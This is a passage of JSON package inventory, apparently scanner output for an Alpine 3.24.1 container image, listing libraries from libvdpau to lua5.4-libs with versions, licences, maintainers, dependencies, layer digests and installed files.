"libvdpau@1.5-r4", "Name": "libvdpau", "Identifier": { "PURL": "pkg:apk/alpine/libvdpau@1.5-r4?arch=x86_64\u0026distro=3.24.1", "UID": "a79c9cc5a1ad62c" }, "Version": "1.5-r4", "Arch": "x86_64", "SrcName": "libvdpau", "SrcVersion": "1.5-r4", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.13-r0", "libxext@1.3.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c3a0bbd59ea75948b626f8b476e66822ff1d27e5", "InstalledFiles": [ "etc/vdpau_wrapper.cfg", "usr/lib/libvdpau.so.1", "usr/lib/libvdpau.so.1.0.0", "usr/lib/vdpau/libvdpau_trace.so", "usr/lib/vdpau/libvdpau_trace.so.1", "usr/lib/vdpau/libvdpau_trace.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libverto@0.3.2-r2", "Name": "libverto", "Identifier": { "PURL": "pkg:apk/alpine/libverto@0.3.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "9df4321a283a6cf6" }, "Version": "0.3.2-r2", "Arch": "x86_64", "SrcName": "libverto", "SrcVersion": "0.3.2-r2", "Licenses": [ "MIT" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:73233059338142e4ac6d8fb8bb0074e93da75dc1", "InstalledFiles": [ "usr/lib/libverto.so.1", "usr/lib/libverto.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libvorbis@1.3.7-r2", "Name": "libvorbis", "Identifier": { "PURL": "pkg:apk/alpine/libvorbis@1.3.7-r2?arch=x86_64\u0026distro=3.24.1", "UID": "c89fe2d9bc7a1cdb" }, "Version": "1.3.7-r2", "Arch": "x86_64", "SrcName": "libvorbis", "SrcVersion": "1.3.7-r2", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libogg@1.3.6-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:58984222abb87e02f73a48cff79dc75280bf4335", "InstalledFiles": [ "usr/lib/libvorbis.so.0", "usr/lib/libvorbis.so.0.4.9", "usr/lib/libvorbisenc.so.2", "usr/lib/libvorbisenc.so.2.0.12", "usr/lib/libvorbisfile.so.3", "usr/lib/libvorbisfile.so.3.3.8" ], "AnalyzedBy": "apk" }, { "ID": "libvpl@2.15.0-r1", "Name": "libvpl", "Identifier": { "PURL": "pkg:apk/alpine/libvpl@2.15.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8d22c19c570803a7" }, "Version": "2.15.0-r1", "Arch": "x86_64", "SrcName": "libvpl", "SrcVersion": "2.15.0-r1", "Licenses": [ "MIT" ], "Maintainer": "Krassy Boykinov \u003ckboykinov@teamcentrixx.com\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c61bf4a54e7592a4c8f5aae04388b6cfd84c667c", "InstalledFiles": [ "usr/lib/libvpl.so.2", "usr/lib/libvpl.so.2.15" ], "AnalyzedBy": "apk" }, { "ID": "libvpx@1.15.2-r1", "Name": "libvpx", "Identifier": { "PURL": "pkg:apk/alpine/libvpx@1.15.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "16d12aeb8a9b5737" }, "Version": "1.15.2-r1", "Arch": "x86_64", "SrcName": "libvpx", "SrcVersion": "1.15.2-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2d0a84e99f83a86478fb7db85c88faa8a17ef8fc", "InstalledFiles": [ "usr/lib/libvpx.so.11", "usr/lib/libvpx.so.11.0", "usr/lib/libvpx.so.11.0.1" ], "AnalyzedBy": "apk" }, { "ID": "libwebp@1.6.0-r0", "Name": "libwebp", "Identifier": { "PURL": "pkg:apk/alpine/libwebp@1.6.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "21afa31597edb216" }, "Version": "1.6.0-r0", "Arch": "x86_64", "SrcName": "libwebp", "SrcVersion": "1.6.0-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libsharpyuv@1.6.0-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:47c88e69c4cefde61d94174ace8b11b5298712ca", "InstalledFiles": [ "usr/lib/libwebp.so.7", "usr/lib/libwebp.so.7.2.0" ], "AnalyzedBy": "apk" }, { "ID": "libwebpdemux@1.6.0-r0", "Name": "libwebpdemux", "Identifier": { "PURL": "pkg:apk/alpine/libwebpdemux@1.6.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7b3a9f40df7dddad" }, "Version": "1.6.0-r0", "Arch": "x86_64", "SrcName": "libwebp", "SrcVersion": "1.6.0-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libwebp@1.6.0-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:50cfcdf9ca8067e3c837fb6f55cc38ee1fccf13a", "InstalledFiles": [ "usr/lib/libwebpdemux.so.2", "usr/lib/libwebpdemux.so.2.0.17" ], "AnalyzedBy": "apk" }, { "ID": "libwebpmux@1.6.0-r0", "Name": "libwebpmux", "Identifier": { "PURL": "pkg:apk/alpine/libwebpmux@1.6.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "282af689557cdfe7" }, "Version": "1.6.0-r0", "Arch": "x86_64", "SrcName": "libwebp", "SrcVersion": "1.6.0-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libwebp@1.6.0-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:279115790748bc6e8ae0ad11b8fb833f1cb6fc41", "InstalledFiles": [ "usr/lib/libwebpmux.so.3", "usr/lib/libwebpmux.so.3.1.2" ], "AnalyzedBy": "apk" }, { "ID": "libx11@1.8.13-r0", "Name": "libx11", "Identifier": { "PURL": "pkg:apk/alpine/libx11@1.8.13-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f1e6fa6303e0c19a" }, "Version": "1.8.13-r0", "Arch": "x86_64", "SrcName": "libx11", "SrcVersion": "1.8.13-r0", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libxcb@1.17.0-r2", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2ddc8d17b3bb9a45ed5cab78dd3bc84d78fca2d0", "InstalledFiles": [ "usr/lib/libX11-xcb.so.1", "usr/lib/libX11-xcb.so.1.0.0", "usr/lib/libX11.so.6", "usr/lib/libX11.so.6.4.0", "usr/share/X11/XErrorDB", "usr/share/X11/Xcms.txt", "usr/share/X11/locale/compose.dir", "usr/share/X11/locale/locale.alias", "usr/share/X11/locale/locale.dir", "usr/share/X11/locale/C/Compose", "usr/share/X11/locale/C/XI18N_OBJS", "usr/share/X11/locale/C/XLC_LOCALE", "usr/share/X11/locale/am_ET.UTF-8/Compose", "usr/share/X11/locale/am_ET.UTF-8/XI18N_OBJS", "usr/share/X11/locale/am_ET.UTF-8/XLC_LOCALE", "usr/share/X11/locale/armscii-8/Compose", "usr/share/X11/locale/armscii-8/XI18N_OBJS", "usr/share/X11/locale/armscii-8/XLC_LOCALE", "usr/share/X11/locale/cs_CZ.UTF-8/Compose", "usr/share/X11/locale/cs_CZ.UTF-8/XI18N_OBJS", "usr/share/X11/locale/cs_CZ.UTF-8/XLC_LOCALE", "usr/share/X11/locale/el_GR.UTF-8/Compose", "usr/share/X11/locale/el_GR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/el_GR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/en_US.UTF-8/Compose", "usr/share/X11/locale/en_US.UTF-8/XI18N_OBJS", "usr/share/X11/locale/en_US.UTF-8/XLC_LOCALE", "usr/share/X11/locale/fi_FI.UTF-8/Compose", "usr/share/X11/locale/fi_FI.UTF-8/XI18N_OBJS", "usr/share/X11/locale/fi_FI.UTF-8/XLC_LOCALE", "usr/share/X11/locale/georgian-academy/Compose", "usr/share/X11/locale/georgian-academy/XI18N_OBJS", "usr/share/X11/locale/georgian-academy/XLC_LOCALE", "usr/share/X11/locale/georgian-ps/Compose", "usr/share/X11/locale/georgian-ps/XI18N_OBJS", "usr/share/X11/locale/georgian-ps/XLC_LOCALE", "usr/share/X11/locale/ibm-cp1133/Compose", "usr/share/X11/locale/ibm-cp1133/XI18N_OBJS", "usr/share/X11/locale/ibm-cp1133/XLC_LOCALE", "usr/share/X11/locale/iscii-dev/Compose", "usr/share/X11/locale/iscii-dev/XI18N_OBJS", "usr/share/X11/locale/iscii-dev/XLC_LOCALE", "usr/share/X11/locale/isiri-3342/Compose", "usr/share/X11/locale/isiri-3342/XI18N_OBJS", "usr/share/X11/locale/isiri-3342/XLC_LOCALE", "usr/share/X11/locale/iso8859-1/Compose", "usr/share/X11/locale/iso8859-1/XI18N_OBJS", "usr/share/X11/locale/iso8859-1/XLC_LOCALE", "usr/share/X11/locale/iso8859-10/Compose", "usr/share/X11/locale/iso8859-10/XI18N_OBJS", "usr/share/X11/locale/iso8859-10/XLC_LOCALE", "usr/share/X11/locale/iso8859-11/Compose", "usr/share/X11/locale/iso8859-11/XI18N_OBJS", "usr/share/X11/locale/iso8859-11/XLC_LOCALE", "usr/share/X11/locale/iso8859-13/Compose", "usr/share/X11/locale/iso8859-13/XI18N_OBJS", "usr/share/X11/locale/iso8859-13/XLC_LOCALE", "usr/share/X11/locale/iso8859-14/Compose", "usr/share/X11/locale/iso8859-14/XI18N_OBJS", "usr/share/X11/locale/iso8859-14/XLC_LOCALE", "usr/share/X11/locale/iso8859-15/Compose", "usr/share/X11/locale/iso8859-15/XI18N_OBJS", "usr/share/X11/locale/iso8859-15/XLC_LOCALE", "usr/share/X11/locale/iso8859-2/Compose", "usr/share/X11/locale/iso8859-2/XI18N_OBJS", "usr/share/X11/locale/iso8859-2/XLC_LOCALE", "usr/share/X11/locale/iso8859-3/Compose", "usr/share/X11/locale/iso8859-3/XI18N_OBJS", "usr/share/X11/locale/iso8859-3/XLC_LOCALE", "usr/share/X11/locale/iso8859-4/Compose", "usr/share/X11/locale/iso8859-4/XI18N_OBJS", "usr/share/X11/locale/iso8859-4/XLC_LOCALE", "usr/share/X11/locale/iso8859-5/Compose", "usr/share/X11/locale/iso8859-5/XI18N_OBJS", "usr/share/X11/locale/iso8859-5/XLC_LOCALE", "usr/share/X11/locale/iso8859-6/Compose", "usr/share/X11/locale/iso8859-6/XI18N_OBJS", "usr/share/X11/locale/iso8859-6/XLC_LOCALE", "usr/share/X11/locale/iso8859-7/Compose", "usr/share/X11/locale/iso8859-7/XI18N_OBJS", "usr/share/X11/locale/iso8859-7/XLC_LOCALE", "usr/share/X11/locale/iso8859-8/Compose", "usr/share/X11/locale/iso8859-8/XI18N_OBJS", "usr/share/X11/locale/iso8859-8/XLC_LOCALE", "usr/share/X11/locale/iso8859-9/Compose", "usr/share/X11/locale/iso8859-9/XI18N_OBJS", "usr/share/X11/locale/iso8859-9/XLC_LOCALE", "usr/share/X11/locale/iso8859-9e/Compose", "usr/share/X11/locale/iso8859-9e/XI18N_OBJS", "usr/share/X11/locale/iso8859-9e/XLC_LOCALE", "usr/share/X11/locale/ja/Compose", "usr/share/X11/locale/ja/XI18N_OBJS", "usr/share/X11/locale/ja/XLC_LOCALE", "usr/share/X11/locale/ja.JIS/Compose", "usr/share/X11/locale/ja.JIS/XI18N_OBJS", "usr/share/X11/locale/ja.JIS/XLC_LOCALE", "usr/share/X11/locale/ja.SJIS/Compose", "usr/share/X11/locale/ja.SJIS/XI18N_OBJS", "usr/share/X11/locale/ja.SJIS/XLC_LOCALE", "usr/share/X11/locale/ja_JP.UTF-8/Compose", "usr/share/X11/locale/ja_JP.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ja_JP.UTF-8/XLC_LOCALE", "usr/share/X11/locale/km_KH.UTF-8/Compose", "usr/share/X11/locale/km_KH.UTF-8/XI18N_OBJS", "usr/share/X11/locale/km_KH.UTF-8/XLC_LOCALE", "usr/share/X11/locale/ko/Compose", "usr/share/X11/locale/ko/XI18N_OBJS", "usr/share/X11/locale/ko/XLC_LOCALE", "usr/share/X11/locale/ko_KR.UTF-8/Compose", "usr/share/X11/locale/ko_KR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ko_KR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/koi8-c/Compose", "usr/share/X11/locale/koi8-c/XI18N_OBJS", "usr/share/X11/locale/koi8-c/XLC_LOCALE", "usr/share/X11/locale/koi8-r/Compose", "usr/share/X11/locale/koi8-r/XI18N_OBJS", "usr/share/X11/locale/koi8-r/XLC_LOCALE", "usr/share/X11/locale/koi8-u/Compose", "usr/share/X11/locale/koi8-u/XI18N_OBJS", "usr/share/X11/locale/koi8-u/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1251/Compose", "usr/share/X11/locale/microsoft-cp1251/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1251/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1255/Compose", "usr/share/X11/locale/microsoft-cp1255/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1255/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1256/Compose", "usr/share/X11/locale/microsoft-cp1256/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1256/XLC_LOCALE", "usr/share/X11/locale/mulelao-1/Compose", "usr/share/X11/locale/mulelao-1/XI18N_OBJS", "usr/share/X11/locale/mulelao-1/XLC_LOCALE", "usr/share/X11/locale/nokhchi-1/Compose", "usr/share/X11/locale/nokhchi-1/XI18N_OBJS", "usr/share/X11/locale/nokhchi-1/XLC_LOCALE", "usr/share/X11/locale/pt_BR.UTF-8/Compose", "usr/share/X11/locale/pt_BR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/pt_BR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/pt_PT.UTF-8/Compose", "usr/share/X11/locale/pt_PT.UTF-8/XI18N_OBJS", "usr/share/X11/locale/pt_PT.UTF-8/XLC_LOCALE", "usr/share/X11/locale/ru_RU.UTF-8/Compose", "usr/share/X11/locale/ru_RU.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ru_RU.UTF-8/XLC_LOCALE", "usr/share/X11/locale/sr_RS.UTF-8/Compose", "usr/share/X11/locale/sr_RS.UTF-8/XI18N_OBJS", "usr/share/X11/locale/sr_RS.UTF-8/XLC_LOCALE", "usr/share/X11/locale/tatar-cyr/Compose", "usr/share/X11/locale/tatar-cyr/XI18N_OBJS", "usr/share/X11/locale/tatar-cyr/XLC_LOCALE", "usr/share/X11/locale/th_TH/Compose", "usr/share/X11/locale/th_TH/XI18N_OBJS", "usr/share/X11/locale/th_TH/XLC_LOCALE", "usr/share/X11/locale/th_TH.UTF-8/Compose", "usr/share/X11/locale/th_TH.UTF-8/XI18N_OBJS", "usr/share/X11/locale/th_TH.UTF-8/XLC_LOCALE", "usr/share/X11/locale/tscii-0/Compose", "usr/share/X11/locale/tscii-0/XI18N_OBJS", "usr/share/X11/locale/tscii-0/XLC_LOCALE", "usr/share/X11/locale/vi_VN.tcvn/Compose", "usr/share/X11/locale/vi_VN.tcvn/XI18N_OBJS", "usr/share/X11/locale/vi_VN.tcvn/XLC_LOCALE", "usr/share/X11/locale/vi_VN.viscii/Compose", "usr/share/X11/locale/vi_VN.viscii/XI18N_OBJS", "usr/share/X11/locale/vi_VN.viscii/XLC_LOCALE", "usr/share/X11/locale/zh_CN/Compose", "usr/share/X11/locale/zh_CN/XI18N_OBJS", "usr/share/X11/locale/zh_CN/XLC_LOCALE", "usr/share/X11/locale/zh_CN.UTF-8/Compose", "usr/share/X11/locale/zh_CN.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_CN.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_CN.gb18030/Compose", "usr/share/X11/locale/zh_CN.gb18030/XI18N_OBJS", "usr/share/X11/locale/zh_CN.gb18030/XLC_LOCALE", "usr/share/X11/locale/zh_CN.gbk/Compose", "usr/share/X11/locale/zh_CN.gbk/XI18N_OBJS", "usr/share/X11/locale/zh_CN.gbk/XLC_LOCALE", "usr/share/X11/locale/zh_HK.UTF-8/Compose", "usr/share/X11/locale/zh_HK.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_HK.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_HK.big5/Compose", "usr/share/X11/locale/zh_HK.big5/XI18N_OBJS", "usr/share/X11/locale/zh_HK.big5/XLC_LOCALE", "usr/share/X11/locale/zh_HK.big5hkscs/Compose", "usr/share/X11/locale/zh_HK.big5hkscs/XI18N_OBJS", "usr/share/X11/locale/zh_HK.big5hkscs/XLC_LOCALE", "usr/share/X11/locale/zh_TW/Compose", "usr/share/X11/locale/zh_TW/XI18N_OBJS", "usr/share/X11/locale/zh_TW/XLC_LOCALE", "usr/share/X11/locale/zh_TW.UTF-8/Compose", "usr/share/X11/locale/zh_TW.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_TW.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_TW.big5/Compose", "usr/share/X11/locale/zh_TW.big5/XI18N_OBJS", "usr/share/X11/locale/zh_TW.big5/XLC_LOCALE" ], "AnalyzedBy": "apk" }, { "ID": "libxau@1.0.12-r0", "Name": "libxau", "Identifier": { "PURL": "pkg:apk/alpine/libxau@1.0.12-r0?arch=x86_64\u0026distro=3.24.1", "UID": "85ea3be21aec0b96" }, "Version": "1.0.12-r0", "Arch": "x86_64", "SrcName": "libxau", "SrcVersion": "1.0.12-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4fb62db473242458df6bcd46ff3ad08d2aa88038", "InstalledFiles": [ "usr/lib/libXau.so.6", "usr/lib/libXau.so.6.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libxcb@1.17.0-r2", "Name": "libxcb", "Identifier": { "PURL": "pkg:apk/alpine/libxcb@1.17.0-r2?arch=x86_64\u0026distro=3.24.1", "UID": "9e152968f6e8c10e" }, "Version": "1.17.0-r2", "Arch": "x86_64", "SrcName": "libxcb", "SrcVersion": "1.17.0-r2", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libxau@1.0.12-r0", "libxdmcp@1.1.5-r1", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8caa749e0d2fc4788e0706930262ac81d9cd0e10", "InstalledFiles": [ "usr/lib/libxcb-composite.so.0", "usr/lib/libxcb-composite.so.0.0.0", "usr/lib/libxcb-damage.so.0", "usr/lib/libxcb-damage.so.0.0.0", "usr/lib/libxcb-dbe.so.0", "usr/lib/libxcb-dbe.so.0.0.0", "usr/lib/libxcb-dpms.so.0", "usr/lib/libxcb-dpms.so.0.0.0", "usr/lib/libxcb-dri2.so.0", "usr/lib/libxcb-dri2.so.0.0.0", "usr/lib/libxcb-dri3.so.0", "usr/lib/libxcb-dri3.so.0.1.0", "usr/lib/libxcb-glx.so.0", "usr/lib/libxcb-glx.so.0.0.0", "usr/lib/libxcb-present.so.0", "usr/lib/libxcb-present.so.0.0.0", "usr/lib/libxcb-randr.so.0", "usr/lib/libxcb-randr.so.0.1.0", "usr/lib/libxcb-record.so.0", "usr/lib/libxcb-record.so.0.0.0", "usr/lib/libxcb-render.so.0", "usr/lib/libxcb-render.so.0.0.0", "usr/lib/libxcb-res.so.0", "usr/lib/libxcb-res.so.0.0.0", "usr/lib/libxcb-screensaver.so.0", "usr/lib/libxcb-screensaver.so.0.0.0", "usr/lib/libxcb-shape.so.0", "usr/lib/libxcb-shape.so.0.0.0", "usr/lib/libxcb-shm.so.0", "usr/lib/libxcb-shm.so.0.0.0", "usr/lib/libxcb-sync.so.1", "usr/lib/libxcb-sync.so.1.0.0", "usr/lib/libxcb-xf86dri.so.0", "usr/lib/libxcb-xf86dri.so.0.0.0", "usr/lib/libxcb-xfixes.so.0", "usr/lib/libxcb-xfixes.so.0.0.0", "usr/lib/libxcb-xinerama.so.0", "usr/lib/libxcb-xinerama.so.0.0.0", "usr/lib/libxcb-xinput.so.0", "usr/lib/libxcb-xinput.so.0.1.0", "usr/lib/libxcb-xkb.so.1", "usr/lib/libxcb-xkb.so.1.0.0", "usr/lib/libxcb-xtest.so.0", "usr/lib/libxcb-xtest.so.0.0.0", "usr/lib/libxcb-xv.so.0", "usr/lib/libxcb-xv.so.0.0.0", "usr/lib/libxcb-xvmc.so.0", "usr/lib/libxcb-xvmc.so.0.0.0", "usr/lib/libxcb.so.1", "usr/lib/libxcb.so.1.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libxdmcp@1.1.5-r1", "Name": "libxdmcp", "Identifier": { "PURL": "pkg:apk/alpine/libxdmcp@1.1.5-r1?arch=x86_64\u0026distro=3.24.1", "UID": "4e40d00e6bc7fb4c" }, "Version": "1.1.5-r1", "Arch": "x86_64", "SrcName": "libxdmcp", "SrcVersion": "1.1.5-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libbsd@0.12.2-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:204e413c0222b6ae7a94adc53b9057d3536fd200", "InstalledFiles": [ "usr/lib/libXdmcp.so.6", "usr/lib/libXdmcp.so.6.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libxext@1.3.7-r0", "Name": "libxext", "Identifier": { "PURL": "pkg:apk/alpine/libxext@1.3.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "78de13d1e27a389e" }, "Version": "1.3.7-r0", "Arch": "x86_64", "SrcName": "libxext", "SrcVersion": "1.3.7-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.13-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6f631e2b33b664a546b3a1a7dd65805b8776bef0", "InstalledFiles": [ "usr/lib/libXext.so.6", "usr/lib/libXext.so.6.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libxfixes@6.0.2-r0", "Name": "libxfixes", "Identifier": { "PURL": "pkg:apk/alpine/libxfixes@6.0.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7c1dff0220361785" }, "Version": "6.0.2-r0", "Arch": "x86_64", "SrcName": "libxfixes", "SrcVersion": "6.0.2-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.13-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6279b3beb666c71ed61ea6464988b930e29ea414", "InstalledFiles": [ "usr/lib/libXfixes.so.3", "usr/lib/libXfixes.so.3.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libxml2@2.13.9-r2", "Name": "libxml2", "Identifier": { "PURL": "pkg:apk/alpine/libxml2@2.13.9-r2?arch=x86_64\u0026distro=3.24.1", "UID": "661e2a4b0a2b6c43" }, "Version": "2.13.9-r2", "Arch": "x86_64", "SrcName": "libxml2", "SrcVersion": "2.13.9-r2", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "xz-libs@5.8.3-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:c2c2cb44647ddc8c82ae78c8aca9bd4ad5a736da", "InstalledFiles": [ "usr/lib/libxml2.so.2", "usr/lib/libxml2.so.2.13.9" ], "AnalyzedBy": "apk" }, { "ID": "libxv@1.0.13-r0", "Name": "libxv", "Identifier": { "PURL": "pkg:apk/alpine/libxv@1.0.13-r0?arch=x86_64\u0026distro=3.24.1", "UID": "89287fcce5233e37" }, "Version": "1.0.13-r0", "Arch": "x86_64", "SrcName": "libxv", "SrcVersion": "1.0.13-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.13-r0", "libxext@1.3.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:1698cec0b2e374bc869ae0e45ced41bb4d5b8b9a", "InstalledFiles": [ "usr/lib/libXv.so.1", "usr/lib/libXv.so.1.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libzbar@0.23.93-r2", "Name": "libzbar", "Identifier": { "PURL": "pkg:apk/alpine/libzbar@0.23.93-r2?arch=x86_64\u0026distro=3.24.1", "UID": "e01fe3667ea220f9" }, "Version": "0.23.93-r2", "Arch": "x86_64", "SrcName": "zbar", "SrcVersion": "0.23.93-r2", "Licenses": [ "LGPL-2.0-or-later" ], "Maintainer": "Diego Queiroz \u003cdiego.queiroz@gmail.com\u003e", "DependsOn": [ "dbus-libs@1.16.2-r2", "libjpeg-turbo@3.1.3-r0", "libx11@1.8.13-r0", "libxv@1.0.13-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d454fc9acba340a1d166a9dddafd8f749fed7da0", "InstalledFiles": [ "usr/lib/libzbar.so.0", "usr/lib/libzbar.so.0.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libzmq@4.3.5-r2", "Name": "libzmq", "Identifier": { "PURL": "pkg:apk/alpine/libzmq@4.3.5-r2?arch=x86_64\u0026distro=3.24.1", "UID": "c2856e4935bad1f8" }, "Version": "4.3.5-r2", "Arch": "x86_64", "SrcName": "zeromq", "SrcVersion": "4.3.5-r2", "Licenses": [ "MPL-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libsodium@1.0.22-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:08bdcea95ab9fea742e3ac1f749e6a99227f9db5", "InstalledFiles": [ "usr/lib/libzmq.so.5", "usr/lib/libzmq.so.5.2.5" ], "AnalyzedBy": "apk" }, { "ID": "lilv-libs@0.24.26-r1", "Name": "lilv-libs", "Identifier": { "PURL": "pkg:apk/alpine/lilv-libs@0.24.26-r1?arch=x86_64\u0026distro=3.24.1", "UID": "43a1246c6f5b3f47" }, "Version": "0.24.26-r1", "Arch": "x86_64", "SrcName": "lilv", "SrcVersion": "0.24.26-r1", "Licenses": [ "ISC" ], "Maintainer": "David Demelier \u003cmarkand@malikania.fr\u003e", "DependsOn": [ "musl@1.2.6-r2", "serd-libs@0.32.8-r0", "sord-libs@0.16.22-r0", "sratom@0.6.20-r0", "zix-libs@0.8.0-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:97b671092d319beeff9d3601b1c5ba18549033e3", "InstalledFiles": [ "usr/lib/liblilv-0.so.0", "usr/lib/liblilv-0.so.0.24.26" ], "AnalyzedBy": "apk" }, { "ID": "lua5.4-libs@5.4.8-r0", "Name": "lua5.4-libs", "Identifier": { "PURL": "pkg:apk/alpine/lua5.4-libs@5.4.8-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e3620cde76aa8e53" }, "Version": "5.4.8-r0", "Arch": "x86_64", "SrcName": "lua5.4", "SrcVersion": "5.4.8-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], 